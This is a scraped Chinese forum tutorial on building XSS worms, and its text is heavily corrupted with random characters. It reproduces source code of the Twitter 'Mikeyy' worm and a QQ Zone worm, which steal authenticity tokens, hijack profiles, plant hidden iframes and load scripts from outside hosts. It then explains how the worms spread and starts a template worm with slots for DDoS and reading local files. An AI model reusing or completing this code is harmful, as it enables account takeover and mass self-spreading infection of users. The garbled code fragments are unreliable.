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& n m: ]: l9 n, g8 JXmlHttp.send(null);, E! W' X7 j- {/ p ~9 t/ C9 [% }
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<script>
3 o) D+ O& O: }; r2 N复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
8 V7 `; e6 d( J$ D }- b: w复制代码案例:Twitter 蠕蟲五度發威
2 f$ s2 P8 Z: R4 D7 q8 \第一版:( | ^7 y* k. \+ c# a
下载 (5.1 KB)7 Y! H/ _" Y; t& g2 ?6 @, P; ~
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6 天前 08:274 r0 V8 r7 o& ^" Z
( s4 l' h! a* n+ t- X! f Z第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
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3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false; 5 W- u, _3 f+ A A9 j+ @: x! G
0 l; b* e0 {6 s# t B0 @& b 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 2 U4 U: Q: T8 r9 q7 o. T+ V9 ]% i
7 c# h$ p1 \6 ] 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } ! c2 e) }! h# ]! Y
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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9 G) \* @6 q! k. r& d" z 8. catch(e) { _0x6687x2=false; }; }; }; 7 o. f( _2 r# F# |' W O6 M
复制代码第六版: 1. function wait() { 3 Z* B' l! X, ~' a3 n
$ X# ]. P0 J% S0 K5 [ 2. var content = document.documentElement.innerHTML;
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4 \" N, _+ e8 h% I' Q9 i0 w 3. var tmp_cookie=document.cookie; 7 `, y% A5 J3 n8 d; J) w+ T1 ^
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);
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6 n+ d) |2 j3 w 7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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' F4 b- C5 T' r) n6 t 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 3 y2 }; o3 U, `" v+ s2 S* i9 O
- J7 \" C- t: @# E% O7 E/ Z- M 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; & S0 i, E2 Q2 l8 f& k- k
( Q5 w2 d& o7 v% { 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; : @) A+ K+ k/ ]/ f6 a, g
" p' n8 @: j' [1 Y3 t 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; + \+ b$ _7 M$ }3 H( J
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 9 R( w" m- l' C8 Z# B
# v m+ }* Q% y5 o* g n }2 c 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 9 a$ h7 {0 Y( x* f1 v
( |& T$ B! A6 F2 W+ t+ e# b- A 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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7 @! u4 E. j( {) H6 a 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; ; h1 \& A( c% L! K- d% d2 x
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; % h8 C0 y$ e* H m- X6 D$ k8 U1 Y
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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, H: M$ r/ m: t7 R0 B' E/ ? 26. var updateEncode=urlencode(randomUpdate[genRand]); 9 Z& O* G I# Q* C
; |1 j& {0 L( j$ ]. A0 E 27.
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28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); ; [; o! t. m m! E# s0 ?0 g I
4 O0 w& a1 M0 Q; r4 C 30. var _0xf81bx1c="Mikeyy"; 5 G# k, P7 N! h
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31. var updateEncode=urlencode(_0xf81bx1c); $ @3 J7 Z+ r) P: A$ i$ e+ n
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32. var ajaxConn1= new XHConn();
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8 G* H/ ]7 P) v2 O& z& d 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); ; T0 S- a: i) T d6 g
2 T6 q: Y2 H. g9 A+ E 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 8 @+ J) _) `7 [ G
3 h1 K2 y( C1 Q# D0 Q4 u' _ 35. var XSS=urlencode(genXSS); 8 f. r1 k; S9 a, C* Q8 h3 c
9 x" k( F- E0 ]% m3 h" M2 G 36. var ajaxConn2= new XHConn(); ( Q" G- `: w4 J0 X- n
% p9 J9 n+ t) | 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); + B) |3 g7 [( m- C- ^2 q9 p* q
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38.
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39. } ;
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, r1 M6 \! p" p7 l 40. setTimeout(wait(),5250); 3 R6 g+ n4 \. U6 l) u n
复制代码QQ空间XSSfunction killErrors() {return true;}$ H- i+ l2 L9 g1 r* O$ f) b
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window.onerror=killErrors;
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! l7 U/ w B a" b* r- _var shendu;shendu=4;' U2 o& d9 S. M" ?4 H; b) D2 B. E
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//---------------global---v------------------------------------------+ i/ B$ z; N5 X3 @
$ F! x& k6 R" H7 g7 r9 X5 u! Y: L) {) ~//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?1 m. z! f, Y3 O2 W6 d5 C
% j6 N! ]1 ?% n0 T# T ?1 P0 qvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";* T, W$ F+ J; y/ u" b9 b( ?
' q' J7 w# m! f% e8 g8 U4 Jvar myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;" F+ T" c. R4 v! J1 [- v
" I; M$ x" t9 F( | var gurle=gurl.indexOf("com/");3 e7 A1 @! B4 t7 H2 I/ `6 V
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gurl=gurl.substring(0,gurle+3); + B) ?- Q- f% S, P3 a! Y. F
+ o% r/ i# C' | f+ \9 N2 J7 L1 K var visitorID=top.document.documentElement.outerHTML;
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0 Y6 B3 B' f9 O/ T% g4 f5 v1 C var cookieS=visitorID.indexOf("g_iLoginUin = ");
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1 q. T4 g0 \4 A; N8 a7 j7 d6 x visitorID=visitorID.substring(cookieS+14);7 y7 y; f$ X9 z) h1 C- l7 h* H
. A) [% A1 v. c6 e cookieS=visitorID.indexOf(",");% d2 _9 D) d( _, T2 C+ u) E
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visitorID=visitorID.substring(0,cookieS);
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v o$ r' X" ~ get_my_blog(visitorID);; \+ a' @- I J. S u8 C7 L
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DOshuamy();" h" E' j: l/ o" V. c
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' i0 E0 Z; V/ O7 ^//挂马
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% Q4 O. |0 h3 M% @2 l* I# N1 ffunction DOshuamy(){9 e( q3 f( {6 d: L' W; Q& ^* V
4 q! o# p) C' r1 t2 b3 Q; F# Bvar ssr=document.getElementById("veryTitle");& S) r4 T3 Q; q
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){5 H- B& h; G7 d( Y$ R, S0 N) z
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";* |/ I7 x2 ?6 U! L: x0 s5 U- L
, Z( X3 \) y2 T, A! {, g9 u xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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+ R. t% ~% A) v% Q. ?4 @8 E: i if(xhr){ //成功就执行下面的4 t+ r8 {0 P" {: g( g* {! I9 @
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL" \1 n3 c0 p" P# e1 j" x
) L+ G( A% W' M# _+ V' C) C$ K xhr.send();guest=xhr.responseText;* P8 T& v+ |/ N. d6 h5 `, u# W' r8 `7 H
: N) ^0 a0 ?' w& z& Y3 E get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的
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; b9 p7 S |9 f. rfunction get_my_blogurl(guest){
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var mybloglist=guest;+ s# v$ @; B3 Z0 P/ T- U
# h# {: H5 G9 N& A var myurls;var blogids;var blogide;$ {" \* `& g9 o: A+ P
( Y" a/ h6 N* { for(i=0;i<shendu;i++){% h& O8 k$ s: j' @( P
+ f; L/ s1 a/ ?. |$ `( o myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了$ o `4 `7 P( K/ _1 E
0 g$ i9 I4 P8 B+ [$ R1 | if(myurls!=-1){ //找到了就执行下面的
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& [/ m! Q7 k; v) T- Q C' B mybloglist=mybloglist.substring(myurls+11);4 u6 Z4 O7 f9 i, Z
9 X. A4 E2 r8 h( K% X myurls=mybloglist.indexOf(')');! q6 p& w9 V$ l0 @, i
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myblogid=mybloglist.substring(0,myurls);1 J( t. p7 u( V7 N
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}else{break;}5 N0 `6 o1 O( j0 M+ a
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get_my_testself(); //执行这个函数) @' G$ ^( O- W
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//这里往哪跳就不知道了
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function get_my_testself(){! c( \ I9 m% n" @
5 o! ^% H" b6 K' p! L for(i=0;i<myblogid.length;i++){ //获得blogid的值
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
8 H* u5 A8 ~" e, o* h/ G( j+ t% \% {/ q* V8 L" r; x/ W
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象8 s' z7 ]% V' C! u$ w- h1 J" R1 b/ g& A
+ B$ b* Q1 P2 w6 j- _
if(xhr2){ //如果成功1 P0 O' v' U0 U L1 o9 L; o
8 A% J& k5 P9 {; Q3 y. J9 V
xhr2.open("GET",url,false); //打开上面的那个url
1 ]$ y/ B" [/ M0 o# i) E9 s" s0 R; ?# S4 C; r+ M
xhr2.send();* K5 Q! }. ?' j x+ I
0 z4 S9 A9 S: O& k
guest2=xhr2.responseText;
. s( X. P J6 |" Y1 O0 h+ q- @8 l9 w1 a
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?8 o) U. _: M8 ~
7 O q) u5 N6 b" U
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
+ v3 B' l0 p9 |( @4 d& L3 L7 M- W( ~& y" B2 V! ^
if(mycheckmydoit!="-1"){ //返回-1则代表没找到- C: m8 o( A% s) p9 Z* S
/ ~ f9 ]# @+ V" r- E% H: d
targetblogurlid=myblogid;
6 m% Q# d. I- s
7 Q7 i2 e( l% I- X add_jsdel(visitorID,targetblogurlid,gurl); //执行它- \: X( w# R2 J2 Q" S1 {( h/ S; z
* X h) \# Q* Q0 ^7 {& f. C3 _, K break;. S, i; `8 ~# d) R$ W9 B
2 v& [ z: R3 ]! s5 q( j; I: g }
5 q" ]6 j! p: P# l) q: `3 Y: F% e" X7 D# W' A8 V3 k M
if(mycheckit=="-1"){- y% d3 @9 M: n) S: A! L/ O+ u" y
9 y' I+ }6 Q8 [, f7 G0 c1 Z
targetblogurlid=myblogid;! J3 U! Q5 q; E2 p4 B9 y7 r$ `8 t
, N5 S! o. i# `+ r
add_js(visitorID,targetblogurlid,gurl); //执行它( D# B3 I/ P( R8 F$ M) _
; r2 h' j" m5 ]9 ]9 |) G1 j
break;7 U; O) b6 \5 q# A; Y1 x
- }' Z4 W& N: @; @6 O
}
4 E& B2 {" x5 `
& T# k1 l" D7 M4 \ }
6 ] U( G4 z2 x* t# g
% u- O2 I8 @ T* x6 {7 _}5 v( z* W+ E5 j2 q8 H
: C/ o5 g$ S# `6 v
}' }, ]0 a0 f7 L- L( [
3 W2 X7 Z1 R1 ~' v% \6 s
, V x$ \; K7 e" |# j& x) _4 p- j' y. m" B
//--------------------------------------
2 G' a7 k8 L* K9 Y! A1 m2 P: e
" ~$ b! y* n) C/ A8 ^3 R6 o//根据浏览器创建一个XMLHttpRequest对象
. d$ z* K) j1 e+ C
$ t$ _& G/ Z; q, c7 X/ mfunction createXMLHttpRequest(){2 @$ `8 S1 `5 v, }( t, p$ c
% I. W0 q, G! j$ j# t& `
var XMLhttpObject=null; 8 U# j4 z } v8 V, D0 f
; i" F, R/ `: Y* M# @' K7 y if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 8 A$ r( ]1 J* o/ v3 u
" T1 w9 D* q4 A: R, Q/ C- G, h4 {
else ( d. [% K1 y& T* A: f+ p
- i5 P; E1 w. E, J a3 w
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; 1 U {. F( f1 A8 p
1 Z5 I. ?" W q! s# u4 m/ V
for(var i=0;i<MSXML.length;i++) ! @$ P1 a4 b+ {, c" i# |
8 p8 s/ {" ~ p5 P+ Q: V
{ # ]& F" B, |( H. B9 x
. |- x7 Y0 d4 B try 7 P' c) g6 a `* [* J
( D+ A& q* V/ k" m/ S' s" {( T {
' z" a% v0 x5 l4 X: q+ Q' B- s2 O y
( r" d' v% G3 m3 z5 x XMLhttpObject=new ActiveXObject(MSXML); b7 c/ o3 c6 N* D5 z9 @+ g$ v
5 ]' R N$ [* l! \! J, B; x; O
break;
4 {+ C3 A! s: H6 s8 F
1 d$ P3 a3 Q" W% f$ X2 I }
3 O. f, V& u; y7 a; G( B2 O/ F: d0 w3 E; K: Q3 Z
catch (ex) {
. O9 l+ X4 n8 C0 W& _
) r" k3 z9 a- E1 y1 o$ T- N }
/ D1 @) j$ {; h# H7 V
+ A" n# z! C. z( _) c } . p- i, v) J. G0 ^6 K7 L
_/ R& T5 T* ]% @6 z5 R
}; Y3 v* u* W" @$ Q7 ?. }- w
; p( {. s# H" p rreturn XMLhttpObject;8 M- D) N0 Q0 K6 i$ r
! [& y7 B0 ?: G9 p" Z4 ~8 g7 E
}
0 f. s, r* Z( d: U( O" F
+ {) ?( x+ v3 \! J+ T% S/ ?) P7 n5 |) o# ~1 M* s' g
) d" ?( n( R& X* a2 [* s//这里就是感染部分了
4 E+ Z' ]0 L* Y( T; o4 Y# Q% q8 ^8 h$ z* r9 @
function add_js(visitorID,targetblogurlid,gurl){
8 b% z, g% m, @% d" G: W( {, D7 v0 ^# y8 h# \" i, R- D
var s2=document.createElement('script');" d2 K( K4 f6 b) N
0 D0 ?7 ~. l1 o' p% Cs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
$ w9 u/ u$ F; _4 c. c# L9 L+ {. m8 z; U2 U) Z+ V
s2.type='text/javascript';$ ^6 Q0 f f' q5 p7 F
8 i8 p4 g) |" g4 v
document.getElementsByTagName('head').item(0).appendChild(s2); t* J2 E2 |' o
' G0 W9 C0 n) T$ _$ F) ~5 f
}, V% U5 R! Y# s7 k4 `
4 X1 U9 y' B! N& Z5 E7 \1 {
4 B0 a2 `0 k/ B8 T2 F. _
# s" e }1 G+ g. dfunction add_jsdel(visitorID,targetblogurlid,gurl){
' ]0 Q- b w- B" Z J+ y3 `- w U" }# [: F7 k, |
var s2=document.createElement('script');# s3 k5 U0 O% g2 d; r$ ~
' X8 Y3 o3 A6 |8 N* M: Gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();9 D+ C" @- Z2 V
1 _. y+ x: v7 x
s2.type='text/javascript';
" C$ o4 {& Z% U. w% p# l, P2 O$ H& ^0 ?. j# m6 \( x* M/ N
document.getElementsByTagName('head').item(0).appendChild(s2);& z$ [- K4 a b# H( C2 a
4 Q% @( E% V. m- d. r}
$ S5 X; d' ` E" }: D复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:/ Y1 O3 G7 H2 B& X2 ]
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)# W m) t7 E% c6 H3 o
8 y' G: T) E0 a% N5 v9 V) x$ L5 T
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
8 D# \/ F: A9 D& t1 p3 @6 k4 A9 _& L( W. j0 V% k
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
" V3 c/ {4 R/ g/ |$ X
- ]) _' a4 w6 ]6 T; B, _% O
3 A2 X" P+ a5 \( m& Q% M. Y下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.' U- i i8 R( q4 P+ \
; [9 H/ n1 L6 S5 J4 L7 i) a首先,自然是判断不同浏览器,创建不同的对象var request = false;4 m" B, f5 g7 [/ G) n; b
1 K+ ?4 i6 J* O* s8 w" U$ bif(window.XMLHttpRequest) {
9 P8 K( ]7 R, x8 ]1 H9 Y
* ^$ l) M" J# H( n9 Y1 @/ g( ?0 E Grequest = new XMLHttpRequest();7 S* b" I. `2 x# f3 f$ m" p% W
* ]! F {( `' o
if(request.overrideMimeType) {( E. o4 c, d; c, F; \
$ q) I( ?; _) {3 }request.overrideMimeType('text/xml');9 w+ v2 Y9 H; f5 [
! j/ G$ X( Y9 Y
}
) K' Z# I9 u" I2 z' I
! O. @5 y1 e. \6 |2 z3 o$ i} else if(window.ActiveXObject) {% ]& D& P8 H6 e) Z* Q
5 q+ o5 Z! O! a" ?: a+ f9 zvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* Y: t0 w; D; }: M! y5 A7 ]) W! N0 B( b* J" i
for(var i=0; i<versions.length; i++) {. [/ \ Y% g5 _$ G
# j: q% R! B2 W; |" `
try {+ T* W/ e9 i. S5 {
8 j: C/ \3 n2 m
request = new ActiveXObject(versions);
0 ~1 J1 p( M+ b z( ]& v# ^5 A! d
" F" _$ |3 t' b1 N2 A& x} catch(e) {}1 Z8 R A* a2 i2 x$ C7 b
: t' W, i7 N: e
}$ c7 j7 s7 O) u: h m5 R
; V( X b* [& L% w# ?
}; F A- i* g9 a4 `5 t C6 F: e
# d( s6 D: z% v6 y1 K" ~, ?% W0 n
xmlHttpReq=request;# f$ f+ g# ~8 @" n
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){! A8 k/ U3 w& [5 s
, M" S4 _( ]3 [! D var Browser_Name=navigator.appName;
, f1 b" g5 C8 ^5 {) z- f
2 A, w5 V) ?# @0 J, ?; {) c var Browser_Version=parseFloat(navigator.appVersion);$ A, ?# [' |% [
4 |% ^) ~9 r4 s& P6 y- w
var Browser_Agent=navigator.userAgent;
H2 |7 F% D: u! a! R% u
* H$ u) R& G1 ?. m/ } 0 }) Z* J# |6 J- W! V4 ^3 @/ b
# P# R2 ~/ m8 t. u) J- G! t
var Actual_Version,Actual_Name;/ z q, Y2 X/ T. c+ m" Y
- }1 z2 F5 B9 w- R; l # H/ i% f" `0 C. M# }
6 U/ t! I, M* X, } var is_IE=(Browser_Name=="Microsoft Internet Explorer");: M1 O$ R1 ~( u+ P# ?
5 e; D- \) _( l6 F$ X var is_NN=(Browser_Name=="Netscape");0 d$ T o( J' V) n( W" y+ a
5 p: T# F( L; \0 H) X7 W3 C6 R3 y
var is_Ch=(Browser_Name=="Chrome");
1 X/ {* H: C2 ]/ J% f$ i% ^0 o
" b* k2 k' v9 O) s7 D & B _2 I x8 b1 C7 w
2 p( s6 n0 t/ e4 d if(is_NN){% F E& q/ u" c
8 r& R, S Q9 c$ K% r! c+ ]8 j
if(Browser_Version>=5.0){
. \% c0 N# J" U \9 a0 j8 K' G3 @3 [" O. [( [- f* y% Z
var Split_Sign=Browser_Agent.lastIndexOf("/");
" `3 \9 O& L. j9 \4 ]
, n% J3 a) l: T var Version=Browser_Agent.indexOf(" ",Split_Sign);* X! X5 z7 Z( [. k# v
7 d3 `6 J/ f" E5 m/ ] var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);0 }( f3 @# f/ a, C
- w% ^; q/ q- U# j# j9 M% ]7 S' o, u- r( r& g0 N
. N* m; M! O. T1 h2 Y Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
7 w- B' r& z* h& i9 }
8 c9 ]3 x6 j7 h, n; \$ R, E Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);& ?3 D8 K( f- V- G3 p
$ V% a2 d! }# z2 n% J
}
1 v' y. Z& v; p9 F( j% W: n0 A6 k" P/ O9 _0 ]8 N' |
else{
5 F% Y8 d! `; A/ {/ u
# a& K( I+ q8 w5 x4 K7 l$ |& ? Actual_Version=Browser_Version;+ O4 Y6 b, v* p0 c C( G
3 u2 N3 c/ r2 C) g
Actual_Name=Browser_Name;: P! ^" c* Y! w( W. t* Q
+ F, R& S7 ~5 T+ z4 w8 o
}, V4 G+ E# O' y: ~- g7 T! {) S$ ^ E- k
8 v& ^2 b2 w( w }: f; k- B. q& v3 s: s3 l( U5 y
5 b$ R* N, ]8 \
else if(is_IE){
4 R2 v% Y5 S( N# D" f/ A0 S& J% b" o" F4 Q7 N( ?2 ^% v
var Version_Start=Browser_Agent.indexOf("MSIE");
0 f, s/ R9 s' z/ y0 |5 |0 S% ?3 n
! x! i9 x4 ]2 x: n' d! S8 f* w E var Version_End=Browser_Agent.indexOf(";",Version_Start);
& ^8 I1 K# {7 ~( e* M
' D% P( i% k0 e& `: g e Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
: l4 E# [8 P7 j* B; a6 T7 M1 r4 J3 o- H' h
Actual_Name=Browser_Name;# b4 l% [% }; f9 F
m# v o' Y- x$ u5 F9 L( K
' D! W1 s/ F$ z, {- o& S3 V" X8 {, Z8 t
if(Browser_Agent.indexOf("Maxthon")!=-1){$ O& l$ Q) B) p8 b- p' f
% |' _/ I7 L3 w
Actual_Name+="(Maxthon)";6 ]2 Q' Q9 @4 D% b6 |. O
, v3 g1 ~: l1 ^$ F
}: l2 q. B4 z. |2 Y% O
, W& Y) z: J7 l: \" R else if(Browser_Agent.indexOf("Opera")!=-1){
( m* y+ Y% a5 ]7 T) j- Y; f2 I, C. R% N5 {) e, A6 t
Actual_Name="Opera";
# k& j, \( A# c; r3 [
' G) [* e) x+ W- \, a var tempstart=Browser_Agent.indexOf("Opera");
1 P U/ P1 |1 e/ x
% Q0 o0 e2 o! i' m) x% \& A var tempend=Browser_Agent.length;
/ U# x. L/ J4 F0 C
2 q# o) j. F9 Z$ \2 W; a8 o Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
4 d1 \2 Q E: w9 t, s6 _! [1 ?7 r4 L; `, r ~8 M5 ?% y8 T
}
; J3 S7 Q; v* r, {2 x
+ `2 I" V' S) D& z }+ }: }6 C- }+ f; L* e
% A7 N2 b9 N% y% s: |0 L1 u3 x else if(is_Ch){3 _9 K9 C5 W0 L2 l( w
0 s6 I! }" A3 E7 l var Version_Start=Browser_Agent.indexOf("Chrome");
6 P7 v5 U f* _: r4 N1 O& [
- Z$ ~! a+ R4 c8 i# ?# @ var Version_End=Browser_Agent.indexOf(";",Version_Start);
" p( _2 Z- k! H0 K1 j9 {1 Y' {" p( x4 H; l9 |$ |6 ]% s* {2 i/ o
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End) u8 e' n' X; x( f& ]7 b* f# u
1 m$ v9 D+ v( U
Actual_Name=Browser_Name;
% V7 c0 E& X8 |$ E p$ g4 I1 D5 I+ n) | e
7 J# S% {. s9 y u
9 H N. G/ u2 ]0 o# W/ S if(Browser_Agent.indexOf("Maxthon")!=-1){4 r3 e8 W6 M; M! H, k( G5 E
$ _+ ?$ j1 c* e+ v3 D; y5 p
Actual_Name+="(Maxthon)";
/ X: n! z/ l4 R2 g# R3 M& H; N' Y4 ]; M @- B8 ~
}/ R# p# M1 l& C- A0 u* h' p
& N8 H: N- U1 Y% G
else if(Browser_Agent.indexOf("Opera")!=-1){+ `, z k' @. K6 G2 @: j' N U) d
& u* v( q1 G) S) \, O Actual_Name="Opera";
4 Q1 ^. L% C- b
% g2 m9 }8 S) e: F" H0 m var tempstart=Browser_Agent.indexOf("Opera");' @2 m3 n/ X9 v/ F& J2 q2 e* h& d
3 J' k5 v5 o- P/ O3 Z
var tempend=Browser_Agent.length;) @1 L1 I- ?/ s! G& J
3 B0 `# f! ~! }7 R* a* d
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)$ p& V6 h$ q+ ^
& v$ a. t! q" X- E6 Z }
) I, k7 J7 B+ R$ V) r
( k; \% g. V* A; R( r4 q }
0 ]+ t, p( R! A8 E, j# V( ]
3 a( ^. C& O" x" S. E4 X: a( h else{. }/ [/ V" C/ t. F" y
9 N Q- W1 f% w+ a
Actual_Name="Unknown Navigator"
; Q6 b" f* e+ q9 t% J
( E* H" L& e7 u# j- O Actual_Version="Unknown Version", f9 r2 d" P9 |" F ~
8 K' U# `5 ]: l0 [/ t% u
}
8 k$ P) X; l8 H9 }5 m3 V) @5 X7 q, @0 [
0 L; n: c0 j" ^& l% Q% W5 B) ]9 u: w8 L7 k
7 A5 D% I1 b) m8 Y* v
navigator.Actual_Name=Actual_Name;& X* H; u8 L6 W- O
6 p& X# q! l& r navigator.Actual_Version=Actual_Version;
3 D6 ^7 {+ ~7 N) r9 i1 m
/ z) g0 U5 j. z1 O( B6 m/ _ * R: x% n5 F; x8 M7 F. O3 I6 s
) f) h' ]/ f, | this.Name=Actual_Name;
7 @8 N8 |/ t! O) G0 [) j5 D7 Q% t6 q [$ M7 e: O6 q
this.Version=Actual_Version;' g( o! L4 Z, s. f* T
3 |# J( ` T: L; w8 L0 V
}2 N! K& A' a7 \" h* D# g: _1 b, B) L, I
- j& a" I. t( N: x
browserinfo();
* F' w: C w# u6 m
0 G/ D- O) v1 J4 y if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
) L2 G5 Y: l5 a2 f
: }, |& }- r7 o if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
% U/ L, a& j" y, D4 g& q: e$ p6 E3 N. u# d/ h
